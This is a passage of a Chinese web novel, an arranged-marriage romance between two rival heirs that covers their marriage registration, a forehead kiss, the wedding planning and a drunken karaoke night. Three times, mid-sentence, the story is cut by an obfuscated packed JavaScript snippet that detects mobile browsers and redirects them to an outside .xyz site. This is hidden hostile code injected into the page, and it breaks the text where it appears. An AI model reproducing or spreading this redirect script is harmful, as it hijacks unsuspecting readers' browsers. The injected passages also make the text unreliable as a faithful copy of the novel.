庄乘月把被握着的手扯出屏幕,反手掐住了他的手背,狠狠掐,只恨自己没留指甲。 为了达成目的,晏乌龟真的是脸都不要了! 以前只知道他腹黑,没想到他演技这么一流呢! 恰在这个时候,手机滴滴响了一声,没电自动关机了。 方才就提示过电量低,但是为了不中断直播,就只能硬挺着,晏知归也没想到居然会在这个关键节点上出意外。 庄乘月如蒙大赦,松开他的手,从琴凳上弹射出去,愤怒地指着他开始输出:“你太阴险了,居然算计我!” “我并没有算计你,就算你不直播,我也是打算要跟你说这件事的。”晏知归坦然道,“速战速决,我不想拖泥带水。” “刚官宣就说想领证,别以为我不知道你安的什么心,我不会让你如愿的!”庄乘月大声道。 晏知归叹了口气:“你真的一点没管这件事,是吗?官宣公告是说我俩感情已深,因此跳过订婚,直接结婚,婚礼都在筹备了,怎么可能不领证?” 庄乘月愣了愣:“什么?” 不订婚了? 至于婚礼,他倒是知道妈妈和阮美兰负责这件事,但筹备也需要很久啊,谁说一定要尽快的? “联姻协议已经起草好了。”晏知归看了眼自己已经死掉的手机,“等充上电我发给你,协议是要我们尽快领证,一个月内举办婚礼,之所以留出一个月的时间,是因为定制礼服的品牌设计师实在腾不出手,鉴于我们两家只认可那一个品牌,就只能为了他等一等。” 服务他们两家的都是顶级品牌,人家也同样也服务于其他豪门,被认可的顶级设计师就几个人,花钱也不可能加塞,这确实没办法。 婚期不能由自己决定,反倒根据礼服设计师的档期来安排,想想也挺可笑的。 庄乘月完全可以等,他才不着急:“为什么要这么快?订婚了还不行吗?” “鉴于我们两家的特殊情况,不领证更会被外界认为是走形式,掩盖一些真相,而领没领证很容易被查证。”晏知归理性地跟他解释,但看了看手表显示的时间,“确定用这套房了吗?确定的话我们就走,先送你回去。” 庄乘月根本无心选房子,对他来说只要跟死对头住在同一屋檐下,住哪都一样。 都是地狱。 他愤愤地转身往外走:“就这个了,懒得看别的,反正你给自己准备的金窝肯定不会差。” 琴房门口,等在外边的Steve跟上他们,嘴甜地说:“知归哥哥,夫人,你们刚才钢琴弹得真好听。” 庄乘月:…… 他一把兜过小机器人的脑袋左右翻看:“开关在哪儿?非得把你这个嘴给关了不可。” “之后我从程序里改,你没必要跟它生气。”晏知归吩咐Steve,“我们走了,你自动休眠充电吧。” Steve艰难地从庄乘月的手里挣脱,立刻道:“好的,知归哥哥,我这就去。” 脚下履带转得堪比哪吒风火轮,等两人走到入户门口时,小机器人已经待在充电桩变成摆设了。 上了车,晏知归给手机充上电,开车带着庄乘月离开了江边别墅,往庄家大宅驶去。 庄乘月没心情说话,脑袋抵着车窗,眼睛望着窗外夜景发愣。 晏知归从后视镜里瞥了他几眼,看那张莹白小脸瘪成一团,出于并不存在的友情考虑,主动解释:“我明白你想先订婚拖拖看,但联姻协议里也写了,稍后我们会时常去两家走动,联络感情,如果不领证的话,往来太亲密会被质疑。” “我们两个早晚会被换回去,因此对于所谓的抱错‘谣言’,两家不能明确否认,否则不久的将来就是自己打自己的脸,这样的事长辈们不会做。因此,要通过联姻一事尽可能转移视线,打消外界的疑虑。” “而且,出于对我俩名下财产安全考虑,写好婚前协议并且领证,受法律保护,双方家人都觉得更稳妥一些。这样说你能理解吗?” 庄乘月恹恹地抱着膝盖团在副驾驶座上,没精打采地说:“废话,你说话怎么这么人机。” 晏知归:“……” “本来按照我的计划,在上一次去你直播间表示自己是不婚主义之后,回家会挨奶奶和爸的训斥,我就可以想办法顺理成章地搬出来住。如果不是考虑到现实利益,我也丝毫不愿意和你联姻,”他握着方向盘,目视前方,“你不好过,我也并不感觉舒心,不知道这样说有没有让你感觉好点。” 庄乘月歪头靠在了座椅内侧,挑眼去看他没什么表情的脸。 由于对方没出声,晏知归又从后视镜里看了他一眼,发现他正在看向自己。 恰好等红灯,他将车停下,转头对上庄乘月的眼睛:“怎么?饿哑了?” 肚子里咕噜噜的声音想装听不见都难。 “你还知道饿着我了?”庄乘月懒洋洋地说,“不过听你说那番话,我确实感觉不错。以后多说一点你不高兴的事,好让我高兴高兴。” 晏知归把头转回前方:“本来在我的计划里,看完三套房把你送回家,时间刚好够你回去吃晚饭,谁知道你偏要直播。每次跟你办什么事,时间都会被莫名拖长,实在没有效率。” “说你人机,你还跟我演上了。”庄乘月揶揄地说,“但论可爱,你比Steve差远了。” 晏知归拿过开了机的手机点了几下:“多谢夸奖——协议草案给你发过去了,回家你慢慢研究,在我看来没什么需要改的,建议你别节外生枝。领证和婚礼都是板上钉钉的事,不可能再撤回。” 庄乘月的手机还在关机状态,因此没什么动静,他也懒得往外掏。 “知道了,我正满心欢喜地等着跟你结婚呢,hon-ey!”他皮笑肉不笑地说。 晏知归拿眼角觑了他一眼,面无表情:“你最好是。” 当晚的官宣社会反响热烈,社交媒体上充斥着怀疑的声音,就算当晚空降直播也没什么用,依旧不少人觉得这当了几十年死对头的两家突然联姻属实有问题。 【别说我不信,这要是放故事里,就是妥妥的罗密欧与朱丽叶,就算庄乘月和晏知归是真的,两家长辈怎么可能同意?】 【庄乘月和晏知归明显不可能是真的,俩人从小掐到大,说他俩地下恋爱,打死我都不信!】 【突然联姻,是不是为了掩盖什么?】 【楼上怀疑得有道理,我就是这么想的。】 …… 这些怀疑的声音都在大家的意料之中,谁都没有在意。庄乘月回家倒是挨了一顿猛夸,家里人都说他直播的主意很好,夸他脑子灵光。 他在这样一声声的赞美中逐渐迷失自我,心情也好了不少,吃过饭之后回到卧室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848993|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,才把手机打开放在一边,等它自己哆嗦,去洗完澡之后才拿过来看。 不出意外那些信息都是些来打听情况的,他的朋友更没人相信他能跟晏知归搞到一起去,直播之后朋友圈言论be like: 【乘哥你演技真好,明年奥斯卡影帝不是你我不服!】 【妈耶,你真的是拉大提琴的吗?怕不是表演系南波万?】 【别秀了秀儿,看得我脚趾抠地。】 【乘哥你要是有什么把柄攥在晏知归手里就偷偷告诉我,好兄弟一定帮你!】 经历了一晚上情绪的跌宕起伏,庄乘月现在把自己调理得很好,这些信息当然不会一一回复,只在最铁的曹怀周和程昊的三人小群里冒了个泡。 【月门】 【月圣】:爱卿们何在?朕归来了! 【大呲花】:呔!你个冒牌货!我们皇上明明在直播!「我就是阴阳怪气怎么了.jpg」 【大壮】:把我爸爸还来!「尖刀.jpg」 【月圣】:没办法,有些事我必须要保密嘛,你们懂得,今晚直播也是临时决定的,没有不通知各位的意思。 【大呲花】:「左哼哼.jpg」 【大壮】:「右哼哼.jpg」 【月圣】:这样吧,明晚六点,大家相聚于养溪,我请你们吃大餐,顺便跟你们唠唠联姻二三事,爱卿们觉得如何? 【大呲花】:明天?明天你就是有夫之夫了,你不会把晏乌龟带来吧? 【大壮】:爸爸,你真的会去领证吗? “咔”“咔”两声,钢印在贴着两人合影上留下深刻烙印,办事员小姐姐把两本结婚证递给庄乘月和晏知归,脸上挂着按捺不住的姨母笑:“恭喜二位,你们可以去证婚台那边合影留念。” 庄乘月笑眯眯地两本一把接过:“谢谢。”低头看了眼名字,把晏知归的那本给他。 晏知归接过结婚证,很自然地拉起他的手腕:“走,拍照去。” 由于还在表演模式里,庄乘月没有反抗,手里拿着结婚证在看,乖乖跟着走。 毕竟是第一次结婚,对这个证感到新奇,尤其是照片。 合影是俩人到了民政局拍的,白衬衫红底,照片上的庄乘月笑得很开心,右侧的小梨涡很深。 晏知归看他研究照片,随口道:“之前还不情不愿,怎么拍照的时候笑得跟朵花似的。” “我月圣怎么可能留下愁眉苦脸的照片!”庄乘月把手里的结婚证举起来,得意地说,“看我多帅,你嘛,也算是个人吧。” 晏知归也低头看看照片,兰花螳螂的确好看,穿着白衬衫的样子更显得眉清目秀。 自己也没绷着,露出了一点微笑,英俊毋庸置疑。 只是两人并肩而立的样子很陌生。 却又意外地相衬。 那当然了,他微微挑了挑眉,毕竟样貌都不赖。 “小晏总,拍照吧?”已经走到了证婚台,随行的摄影师端着单反提示道。 庄乘月跳到背景墙前,把结婚证合上举起来,用灵动的大眼睛示意晏知归就位。 晏知归学着他的样子站过去,对着镜头露出笑容,摄影师咔咔拍了几张,就听围观群众小声起哄: “亲一个啊!” “就是,学学别人!” “结婚呢,又不是拍毕业照,别装不熟!” 俩人往左右看看,长长的背景墙,两边都有刚领了证的情侣在拍照,好几对亲得难舍难分,完全不把大家当外人。 庄乘月微微仰头,对上晏知归的目光,心里嘀咕——亲也行,就当排练了,这照片发出去更有说服力,免得整天被人说他们假结婚。 一不做二不休吧,现在也没什么好扭捏的了! 就是这么开展内心活动的工夫,他晚了一步,后背被人轻轻拢住,晏知归向他靠近,吻在了他的额头上。 一触即放。 晏知归松开手,正要往后退开,没想到却被对方拉住了手臂。 “等等!”庄乘月满脸严肃,“我要求再亲一次!” 20. Chapter 20 亲额头不会有什么特别的感想,尤其只是这样蜻蜓点水碰一下。 被亲的刹那,庄乘月心里冒出来的第一个反应是,就晏知归这张嘴,居然还挺软?! 第二个反应,就是懊恼。 居然被他抢了先! 男男情侣,坊间最爱猜的就是谁上谁下,晏乌龟对上边的位置早就虎视眈眈,已经调侃过几次,可惜方才自己慢了一步! 虽说情侣间怎么亲没有什么固定规则,但从约定俗成而言,异性之间都是男人亲女人额头,替换到男男,那岂不是默认自己在下?! 生可忍熟不可忍! 庄乘月看着晏知归突然凝固住的表情,认认真真地重复了一遍自己的要求:“再亲一次,我亲你!” 围观群人听了个清清楚楚,碍于这还是在民政局,他们不敢大声喧哗,只敢小声骚动: “哇哦!他们感情这么好吗?” “亲亲亲!多亲,爱看!” 当然也有男生们一眼看破本质:“就是男人的好胜心在作祟罢了。” 庄乘月压低了声音,在晏知归手臂上掐了一把:“快点配合我!” “别做无用功,还需要人配合的话,说明你实力不够。”晏知归垂眸看他,勾起唇角,小声道,“旁人一眼便能看出,谁在上边。” 庄乘月:“……” 死乌龟居然还会玩梗?!你人设崩了! 但再挣扎也来不及,晏知归已经拉着他的手,堆起假笑离开了背景墙,走到摄影师面前问:“拍好了吗?” “好了,您过目。”摄影师把照片调出来给他们看。 庄乘月伸着头还没看见,就见晏知归漫不经心地瞥了一眼,说了声“没问题”,拽着他离开。 两人回到车里,庄乘月才愤怒地咆哮:“你是不是太过分了?照片都不让我看!” “有什么可看的,反正发出之前还会给你一份,到时候提意见就行了。”晏知归伸手从后座拎过外套扔在他身上,“怎么,对自己的颜值没自信?” “不是我没自信,是怕你的摄影师故意把我拍丑好衬托你。”庄乘月嘀嘀咕咕地穿好衣服。 晏知归嗤笑:“没必要,娶个丑媳妇,难道我脸上光彩?” “住嘴!我是老公!我!是!老!公!”庄乘月喊道。 晏知归也套上了西装外套:“那你下次反应快一点。” “放心,我一定先亲你!”庄乘月话一说完,就发觉自己被带进了沟里,“呸呸呸,谁要亲你!呸!” 晏知归看着他,忍不住无声地笑了笑。 “照片什么时候能传给我?我要发社交平台!”庄乘月不爽道,“这次我要比你先!” “那种照片是给公司用的,你不嫌那背景墙丑吗?发自拍就行了。”晏知归说。 庄乘月眼珠一转:“也对!算你聪明!” 他拿出手机,调出自拍软件,举起手机对着两人:“你靠过来,举着结婚证,偏头充满爱意地看着我——够照顾你的了吧?侧脸的话表情没那么大压力。” 方才已经占尽了先机,晏知归现在从善如流,配合地摆出了姿势。 庄乘月则把结婚证放在鼻子前边,只露出自己一双灵动的猫儿眼,眼睛微弯,看起来是在笑。 再审核一下死对头的表情,看他侧脸对着镜头,唇角向上,也算是个笑脸,眼神嘛,好像有那么一点爱意,算他演技好。 庄乘月嘴里含混不清地说:“要拍了,三二一!” 画面定格,晏知归便从他身边撤开,没有要看照片的意思:“满意了吗?” “就这样吧,毕竟你的脸也没救了。”庄乘月违心地说,“我这么英俊帅气自然是不用P,勉为其难给你P一下,毕竟娶个丑媳妇,我脸上不光彩。” 晏知归嗤笑一声,发动了汽车。 庄乘月浅浅用了下滤镜,调了个比较温馨浪漫的色调,加上一个唯美的白色画框,两人的颜值确实能打,他没怎么动。 考虑再三之后,他登上moon,在自己的主页动态里发了这张照片,配文是:【昨晚断电没再续播,没有得到答案的你们是不是被钓成翘嘴了?现在答案来了!】 他只在自家的平台发了照片,别的平台没必要发,自有粉丝、狗仔和营销号会搬运。 果然,发出去没多久,俩人领证的事儿就很快上了热搜,他自己的动态下边也收到了不少评论。 【啊啊啊啊他们来真的!】 【太快了太快了我真是猝不及防。】 【月圣新婚快乐!】 【不知道月圣和晏知归谁上谁下,嘿嘿。】 【晏知归明显很攻,月圣这么漂亮可爱,不像。】 【月圣矮一点,我不能接受矮攻,所以月圣是受,鉴定完毕。】 庄乘月正在看评论,看到这胆大包天的发言,立刻眯起了眼睛。 过分了! 刚才被偷袭也是因为晏知归是个电线杆子,一低头正好亲上额头。 哼,现在就打电话告诉皮鞋设计师,给自己加7厘米内增高! 晏知归从后视镜里看到他的神情由晴转阴,略有好奇,但没问,汽车开到庄家大宅门口,把车停下。 庄乘月解开安全带,冷冷地说:“没什么事的话,婚礼见吧。” 没等对方说话,人就一阵风似地跑进了大门里。 晏知归望着他的身影,忍不住轻笑了一声,拿起手机登上moon,找到他的主页,再一看评论,立刻就知道小螳螂为什么不高兴了。 但是这些评论让他很高兴。 然后他才点开图片,细细欣赏。 照片上,浅金色的阳光从车窗一侧照进来,给庄乘月镀上一层金边,画面正中,漂亮的青年只露出一双微微弯起的眼睛,琥珀色的眼球几乎半透明,当中含着那么一点狡黠,更显得可爱。 晏知归自己侧脸轮廓堪称一绝,眉骨微凸,山根分明,线条流畅地向下勾勒出高挺的鼻梁,深邃的眼睛眼角向下,唇角向上,配合出一个无懈可击的笑容。 至于眼神中有没有爱意,毕竟侧面看不真切,就见仁见智了。 但这氛围烘托得着实不错。 光线还把结婚证封皮烫金的字体和图案描摹得十分清晰。 抛开一切不谈,晏知归勉强可以将其称之为今年的人生照片。 庄乘月搭保安的巡逻车回到主宅,大白天的爸爸姐姐们还有姐夫都不在家,于是他直冲进乔轻云的房间:“妈妈,我领证回来啦!” 乔轻云正在打电话,似乎没有脑子分给他,做个了“稍等”的手势,继续表情不悦地跟电话里沟通。 说是沟通,但听起来像吵架: “不行,我儿的婚礼不能这么草率,上次他姐姐结婚都请了爱乐乐团,这次怎么能省?!你请不来我去请!” “宴会用酒至少也要罗曼尼·康帝——我当然知道它限量,能买到多少就要多少,剩下的用柏图斯,拉菲用来做伴手礼!” “我不管你们家老大结婚的时候是什么规格,总之我们乘月必须和他姐姐的规格一致!” “捧花说过多少遍了!要有兰花和绣球,我儿喜欢这两种,桌面摆花用百合!” “我不管你们晏家不看重什么,总之婚礼必须让我儿子开心——他永远都是我儿子!好了,今天就这样吧,再见!” 哪怕怒火冲天,身为名门贵妇,乔轻云依旧维持了底线的体面,挂断电话之后深吸一口气,像个神奇的魔术师,把暴怒的表情瞬间转化成温柔的笑容,向沙发上的庄乘月招手:“宝宝,来给妈妈看看。” “妈妈,跟谁打电话这么生气啊?”庄乘月起身过去,把手里的结婚证递给她,试探地问道。 估计是晏家的那个继母。 “阮美兰呗,不知道他们晏家什么毛病,办个婚礼抠抠搜搜的,说不能超过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848994|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老大的标准,我才不管呢,我们宝宝结婚绝不能寒酸。”乔轻云翻来覆去地端详结婚证,看到庄乘月和晏知归并肩微笑的照片,仿佛是被那红底映得,眼圈渐渐红了起来。 自己从小养大的儿子自然是无敌好看,而亲生儿子,抛去这些年的偏见,也是英俊倜傥,一表人才。 偏偏是他们俩,被抱错了家庭。 都在豪门之家,应当是吃不着生活的苦,像庄乘月从小就被她捧在手心里养大。 可每家成长环境不一样,晏家是出了名的规矩多,家里男孩也多,内卷得厉害,晏知归十岁就没了母亲疼爱,后来又有了弟弟,处在中间肯定不得宠。 继母能对他好吗?从方才沟通婚礼事宜就能听得出来,阮美兰张口闭口都是晏家的规矩,根本就不考虑他的感受。 知道抱错这件事已经过去了不短的时间,乔轻云在渐渐接受这个事实,开始用母亲的眼光去看待他,越代入就越心疼。 好在成婚后是搬出去住,晏知归不用再受气,自己的宝贝乘月也不用看晏家人的脸色。 庄乘月观察到母亲的情绪,黏黏糊糊地抱住她:“妈妈,你怎么啦?别难过,不管我领不领证,都是你的亲亲小月!” “嗯,妈妈就是舍不得你搬出去。”乔轻云脸上笑着,但听到这话,眼泪彻底绷不住掉了下来。 庄乘月把脸埋在她的肩膀上,也有点哽咽:“我会常常回来看你的!” 尽管只是联姻,但毕竟是领了证,户口上都要变成“已婚”了,也算是人生一个重大改变,不管他怎么想轻松面对,细想的话还是会有些沉重。 “好呀,我的宝宝,妈妈也会去看你的。”乔轻云轻轻拍着他的后背,“看看妈妈的两个儿子。” 庄乘月:“……” “不要啊!我想当妈妈唯一的宝宝!不要晏乌龟来跟我抢!” 养溪会馆的包间里,喝得上头的庄乘月大声哭喊。 晚上他请客,把曹怀周和程昊两个最亲密的朋友带来自家的会所,坦白了联姻的全部事实,把俩人惊了个倒仰。 整顿饭就是感慨人生之无常,大肠包小肠,原本庄乘月早已洒脱面对,但几杯酒下肚,想起白天妈妈说的“两个儿子”,越想越难过。 原本吃着火锅唱着歌,音乐停下来的时候突然对着麦克风哭喊,声音响彻整个包间。 曹怀周也喝得差不多了,抱着酒瓶子跟程昊感叹:“哪个大男人说话娇成这样不让人觉得恶心?也就是咱月圣。” “那必须,我们月圣只把浪荡当保护色,其实是个实打实的乖宝宝。”程昊打了个酒嗝。 庄乘月对着话筒即兴喊麦: “我是天边月正明,他是乌龟大聪明, 天灵灵来地灵灵,小爷我就要步步为营! 一让他头晕眼冒金星,再不敢和我抢亲情! 二让他跪地连连哀鸣,服就服月圣第一名! 三让他双眼泪伶仃,再拼速度我一定赢!” 曹怀周/程昊:“这是疯了,真疯了。” 另一边,晏知归也跟苏元意刚吃过饭,正从自家会所雅玉阁里出来。 他到底不是真的人机,前脚当众声称不婚主义,后脚就跟死对头官宣联姻,这脸都被打肿了,再加上人生大事就这么仓促推进,多少有点心中不爽。 苏元意比他还义愤填膺一些,喝了不少红酒,要他这个没喝酒的送自己回家。 刚坐上车,晏知归就接到了庄乘月的电话,话筒里传来了一个醉鬼的声音:“哈喽,未婚夫你好,哦不对,已经领证了,是丈夫,丈夫你好,你丈夫我喝多了,麻烦来养溪接我,等你哦!” 可能因为喝多了酒,音调黏黏糊糊,带着一些不自知的撒娇意味。 “这么快就使唤上你了?”苏元意一喝多,边界感消失得无影无踪,趴在他手边听,“去吗?” 晏知归想了想:“去看看他在搞什么。” 21. Chapter 21 养溪会馆的工作人员对江海市各豪门大佬们的脸烂熟于心,看到晏知归立刻迎上去,得知对方来意,麻溜地将人带到了庄乘月的包间外。 包间隔音效果非常好,从外边听不出一点动静,但推门进去,你猜怎么着,大平板电视上放着《康康舞曲》,《坏龟之歌》限时返场。 “龟龟,你是一只坏龟——”庄乘月正倒骑在椅子上拿着话筒嚎叫,看到晏知归推门进来,立刻眉开眼笑,“啊,我亲爱的丈夫,你来了!” 曹怀周正在沙发上葛优瘫,看见苏元意就不爽:“你个孙子来干什么?” “孙子管爷爷的事干什么?”苏元意醉得没他厉害,头脑清醒地回嘴。 曹怀周脑子都短路了,根本没发现这语言陷阱,直接回怼:“孙子爱管谁管谁,爷爷管不着。” 说出口才意识到不太对劲,疑惑地缓缓眨了眨眼睛。 躺在他腿上的程昊则配合地嘟囔:“爸爸的爸爸叫什么?爸爸的爸爸叫爷爷……” 晏知归:“……” 一屋子没个正常人。 “哈哈哈哈!”苏元意哈哈大笑,掏出手机来对准曹怀周,“这么好的戏不拍下来可惜了。” 晏知归没管他,按亮了包房的灯,关掉吵人的音乐,走向庄乘月:“不是要我送你回家吗?走吧。” 趴在椅背上的青年仰着头笑盈盈地看他,红透了的脸庞在灯光下无所遁形,红润的唇角边梨涡深不见底,眼白也微微泛着红,像一朵盛开的桃花。 虽然目光迷离,眼珠却亮晶晶地闪着光,让人很容易就陷进这双眼里去。 庄乘月身上的酒味并不冲,只有一点酒精味儿,还夹杂着点果酸。 晏知归往旁边的饭桌上一瞥,拢共两瓶红酒,有一瓶还剩了一半,三个人醉成这样,真是又菜又爱玩。 庄乘月只笑着看他不说话,他便问道:“你还能直立行走吗?” “能啊,不信我走给你看。” 晏知归便退后几步,做了个“请”的手势。 另一边,苏元意举着手机拍曹怀周:“孙贼,再喊一遍爷爷啊!” “滚蛋!”曹怀周闭上眼,嘟囔,“过阵子我哥回来,我让他收拾你。” 苏元意神情变得雀跃,连忙问:“真的吗?你哥真回来?嘁,就凭你俩的关系他帮你才怪!” 曹怀周吧唧了几下嘴,不吭声了。 苏元意翻了个白眼,懒得跟他废话,自言自语:“也对,庄晏两家联姻,瑾哥肯定是要回来参加婚礼的。” 不远处传来晏知归的声音:“你到底能不能行?” 苏元意转头看过去,就见庄乘月就像初生小鹿学走路那样歪歪扭扭地从椅子上站起来,饶有兴趣地把手机摄像头转过去对着他俩,凑上前去拍。 晏知归看他拍视频,摆了摆手:“你无不无聊?” “这么珍贵的素材我得留着,到你俩婚礼上去放。”苏元意凑得更近了些。 晏知归来不及阻止他,因为面前的庄乘月像丧尸那样伸着手冲自己扑了过来,左脚绊右脚,眼看就要摔跟头。 他连忙上前一步,伸手去扶对方,谁知道小螳螂突然间踮起脚尖,竖起两把“大刀”,突然间抱住他的脸,噘起嘴巴,结结实实地亲了过来。 用力之猛,真亲上绝对能磕破嘴。 晏知归下意识地闪避,无奈醉鬼还挺有气力,死死扣住他的脑袋,他只能稍一偏头,让对方亲在了脸颊上。 避免了牙磕牙的惨剧。 庄乘月并没意识到亲偏了,只知道自己完美地亲上了,松开手,得意洋洋地说:“天下武功,唯快不破!” 苏元意拍着视频,目瞪口呆:“卧槽!卧槽!你俩别是真的谈了吧?!” 晏知归立刻给了他一个眼神,苏元意也意识到这话过于冒昧了,闭上了嘴巴。 但没有停止拍摄。 毕竟机会太难得。 庄乘月认为自己偷袭成功,踉跄着后退了几步,学着街溜子一般抹了抹嘴,感叹:“啊,男人,你竟是该死的甜美!没想到你那一双刀削般的薄唇,尝起来竟也是软的!” 晏知归:“……” 苏元意:“哈哈哈哈哈哈哈哈嗝。” “你现在到底脑子清不清醒?叫我来就是为了这个?”晏知归上前扶住险些往后摔倒的庄乘月,有一种成年人遇上熊孩子的无力感。 庄乘月得意道:“当然!我要扳回一局!从今天起,我是老公,你是老婆!我在上,你在下!清楚自己的位置了吗?” “卧槽,这是什么虎狼之词?!”苏元意坏笑着充当气氛组。 人在无语的时候真的会笑,晏知归就这么笑了一下,低声道:“你在上是吗?好!” 他走过去一弯腰,把醉鬼扛在了肩膀上,转身对苏元意说:“我送他,你自己打车回去吧。” 苏元意:“?你重色轻友!” “我有什么办法,我俩今天刚领证,难道你让我不管他?”晏知归扛着沉甸甸的庄乘月走到门口,从衣帽钩上取下了他的外套,拉开门大步走了出去。 庄乘月大头朝下,原本就酒醉的脑子晕得更厉害,胃部被晏知归的肩膀顶得难受:“放我下来,我要吐了!” 他眼前一片迷茫,双手胡乱拍打,一拍就拍到了十分有弹性的部位,眨了眨眼,勾起唇角“嘿嘿”坏笑了一下,结结实实地抓了一把:“龟龟你屁.股手感很好啊!” 突然被人骚扰,晏知归不急也不恼,走进电梯之后,微微偏头对他说:“敲打别人的时候,别忘了自己的弱点也已经暴露了。” 他抬头瞄了瞄摄像头的位置,转过身去以身体构成死角,抬手在庄乘月的屁股上拍了一下。 下手抓他做不到,毕竟自己是清醒的,占人便宜不是君子之道。 挨了这么一下,庄乘月自然是要闹的:“混蛋,你占我便宜!” “礼尚往来罢了。”晏知归淡淡说。 掌心还残留那软弹的余韵。 庄乘月挣扎道:“晏乌龟,把我放下来……我胃里难受,我吐你身上了!” 被顶着胃不会是什么舒服的体验,晏知归想了想,把他放了下来,单手圈住了他的腰。 只穿了帽衫的小螳螂好像很瘦,一把就能把腰搂过来。 从小被养得好,怎么会不长肉?是挑食还是想出道? “松开我!”庄乘月迷迷糊糊,说出醉鬼的经典语录,“我没醉!” 晏知归信他个鬼,只是稍稍松了力道,电梯很快抵达地下车库,门一开他就半抱半拖地把人带到自己的车旁边,拉开副驾驶,先从杂物箱里拿出了个塑料袋。 这还是给苏元意准备的,谁知倒是给庄乘月用上了。 “你要吐吗?吐这里边。”晏知归冷淡地说,“要是弄脏了我的车,你原样赔我一辆。” 庄乘月把塑料袋攥得哗啦哗啦响,靠着车上傻乐:“我不想吐,刚才就是吓唬你,我酒量好得很。” “这么自信?”晏知归把他塞进副驾驶,再把外套扔他身上,“明早看到视频的时候联系我。” 醉鬼还知道自己摸索着系上安全带,然后就闭着眼歪头靠在了车窗边。 晏知归上了车,看他像是睡着了的样子,轻轻松了口气。 安静下来的小螳螂是另一种模样,眉清目秀的显得挺文静,又长又密的睫毛微微颤动,嘴唇微微抿着,看起来很乖巧。 车内光线阴暗,他的绯色面颊都被掩在暗影中,只有停车场的光从车窗映进来,落在他柔软的唇上,显得这双唇尤为突出。 单看嘴唇的话,男生和女生的应该没什么明显区别,只有好看和不好看之分。 显然这张牙舞爪、喜欢疯狂输出的螳螂嘴长得很不错,厚薄均匀,颜色红润,一副心肺功能很好的样子。 方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14848995|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事发突然,被亲上的时候晏知归没顾得上反应,现在回忆起来,这个脸颊吻比早上额头吻要清晰许多。 毕竟自己只是蜻蜓点水地在对方的额头上掠过,而庄乘月是实实在在地“mua”了一下。 触感柔软、温热,还带响儿,触觉和听觉的双重体验。 呵。 为了争先,真是什么都能豁得出去。 晏知归掏出手机,给苏元意发微信。 【晏老三】:刚才你拍的那段视频,发给庄乘月。 【一元酥】:他早把我拉黑了!! 【一元酥】:我发给你吧。 【晏老三】:可。 【晏老三】:还有之前你无人机录的高尔夫球场那段,回去也传给我。 【一元酥】:懂,螳螂的黑料要握在自己手里。 【一元酥】:今晚我的打车费你报销。 【晏老三】:你们苏氏要倒闭了吗? 【晏老三】:好好准备我婚礼的红包,少了朋友没得做。 【一元酥】:「尖刀.jpg」 庄乘月迷迷糊糊地在晏知归车上睡着,醒来的时候却是在自己家里。 酒的质量好,他的睡眠质量也挺高,美美一觉到天亮,睁开眼还挺神清气爽。 他舒服地在被窝里伸了个懒腰:“满血复活!” 在枕头边摸来摸去,摸出了手机,发现有晏知归发来的视频。 然后就看见了自己强吻别人的画面。 还有那令人羞耻的台词: “啊,男人,你竟是该死的甜美!没想到你那一双刀削般的薄唇,尝起来竟也是软的!” 根本都没亲嘴上啊!!! 悲愤不已的庄乘月像条大虫子一样蛄蛹回了被窝里,被子蒙过头,下边传来哀怨的咆哮声和愤怒的捶床声。 晏知归坐在早会的会议桌边,盯着手机上“月圣”的对话框,很想知道此人看到视频的反应,犹豫片刻后主动询问。 【晏乌龟】:观后感如何? 很好,喜提黑名单。 会议室里,全体参会者目瞪口呆地看着平时不苟言笑的小晏总眉眼舒展,勾起了唇角。 一分钟之后,“两年没笑过的三少爷终于笑了”传遍了英嘉科技每一个没有小晏总的群。 单方面拉黑,也就等于双方休战,在婚礼筹备的这一个月里,俩人没再见面。 婚礼流程有两边妈妈把关,相关宣传报道也有各自的宣传部门负责,婚前协议都由两家长辈拍板,有秘书专程找到他们去签字。 至于礼服和皮鞋的定制,也由品牌负责人登门丈量,同时送来新一期成衣的目录供他们选择。 还有最重要的东西,钻戒,两家商定了品牌,在设计师极富创意的定制图中选中一个,再有专人上门量指围。 委实没有什么见面的必要。 这期间晏知归去国外出了一次差,回学校面见导师阐述了自己交的几个paper的理念,考了几门试,paper和考试都拿了A+。 小螳螂那边一直安静如鸡,但他总觉得对方一定在憋什么大招。 新娘子总要掀盖头的,“阴谋诡计”准备好了会主动露出真面目,果然,婚礼前两天,听说庄乘月开了单身派对,当天晚上,晏知归就收到了他发来的视频。 是庄乘月亲自演唱的一首山歌,名叫《朝你大胯捏一把》,MV音效鬼畜,歌词劲爆大胆,唱的是主角带小三回家偷情给老公戴绿帽子的故事。 发这个用意是什么不言而喻,晏知归都要被他的创意逗笑了。 